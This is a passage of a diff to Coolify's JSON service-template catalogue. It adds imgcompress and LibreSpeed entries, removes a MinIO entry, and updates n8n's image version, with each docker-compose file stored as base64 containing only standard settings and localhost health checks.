oY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBkYi1taWdyYXRpb246CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", "tags": [ "api", "development", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9JTUdDT01QUkVTU181MDAwCiAgICAgIC0gJ0RJU0FCTEVfTE9HTz0ke0RJU0FCTEVfTE9HTzotZmFsc2V9JwogICAgICAtICdESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVD0ke0RJU0FCTEVfU1RPUkFHRV9NQU5BR0VNRU5UOi1mYWxzZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTElCUkVTUEVFRF84MgogICAgICAtIE1PREU9c3RhbmRhbG9uZQogICAgICAtIFRFTEVNRVRSWT1mYWxzZQogICAgICAtIERJU1RBTkNFPWttCiAgICAgIC0gV0VCUE9SVD04MgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIDEyNy4wLjAuMTo4MiB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIGludGVydmFsOiAxbTBzCiAgICAgIHJldHJpZXM6IDEK", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -2830,21 +2858,6 @@ "minversion": "0.0.0", "port": "8080" }, - "minio-community-edition": { - "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io", - "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.", - "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "object", - "storage", - "server", - "s3", - "api" - ], - "category": "storage", - "logo": "svgs/minio.svg", - "minversion": "0.0.0" - }, "mixpost": { "documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io", "slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.", @@ -2899,7 +2912,7 @@ "n8n-with-postgres-and-worker": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9OOE5fNTY3OAogICAgICAtICdOOE5fRURJVE9SX0JBU0VfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ044Tl9QUk9UT0NPTD0ke044Tl9QUk9UT0NPTDotaHR0cHN9JwogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gT0ZGTE9BRF9NQU5VQUxfRVhFQ1VUSU9OU19UT19XT1JLRVJTPXRydWUKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgbjhuLXdvcmtlcjoKICAgIGltYWdlOiAnbjhuaW8vbjhuOjIuMS41JwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEuNScKICAgIGVudmlyb25tZW50OgogICAgICAtICdOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk9JHtOOE5fUlVOTkVSU19UQVNLX0JST0tFUl9VUkk6LWh0dHA6Ly9uOG4td29ya2VyOjU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVD0ke044Tl9SVU5ORVJTX0FVVE9fU0hVVERPV05fVElNRU9VVDotMTV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBuOG4KICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY4MC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfVVJMX044Tn0nCiAgICAgIC0gJ1dFQkhPT0tfVVJMPSR7U0VSVklDRV9VUkxfTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX1VSTF9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ244bmlvL244bjoyLjEwLjQnCiAgICBjb21tYW5kOiB3b3JrZXIKICAgIGVudmlyb25tZW50OgogICAgICAtICdHRU5FUklDX1RJTUVaT05FPSR7R0VORVJJQ19USU1FWk9ORTotVVRDfScKICAgICAgLSAnVFo9JHtUWjotVVRDfScKICAgICAgLSBEQl9UWVBFPXBvc3RncmVzZGIKICAgICAgLSAnREJfUE9TVEdSRVNEQl9EQVRBQkFTRT0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgICAtIERCX1BPU1RHUkVTREJfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QT1JUPTU0MzIKICAgICAgLSBEQl9QT1NUR1JFU0RCX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIERCX1BPU1RHUkVTREJfU0NIRU1BPXB1YmxpYwogICAgICAtIERCX1BPU1RHUkVTREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBFWEVDVVRJT05TX01PREU9cXVldWUKICAgICAgLSBRVUVVRV9CVUxMX1JFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBRVUVVRV9IRUFMVEhfQ0hFQ0tfQUNUSVZFPXRydWUKICAgICAgLSAnTjhOX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF9FTkNSWVBUSU9OfScKICAgICAgLSBOOE5fUlVOTkVSU19FTkFCTEVEPXRydWUKICAgICAgLSBOOE5fUlVOTkVSU19NT0RFPWV4dGVybmFsCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUz0ke044Tl9SVU5ORVJTX0JST0tFUl9MSVNURU5fQUREUkVTUzotMC4wLjAuMH0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX0JST0tFUl9QT1JUPSR7TjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ6LTU2Nzl9JwogICAgICAtIE44Tl9SVU5ORVJTX0FVVEhfVE9LRU49JFNFUlZJQ0VfUEFTU1dPUkRfTjhOCiAgICAgIC0gJ044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUj0ke044Tl9OQVRJVkVfUFlUSE9OX1JVTk5FUjotdHJ1ZX0nCiAgICAgIC0gJ044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWT0ke044Tl9SVU5ORVJTX01BWF9DT05DVVJSRU5DWTotNX0nCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4L2hlYWx0aHonCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIG44bjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXMtZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgdGF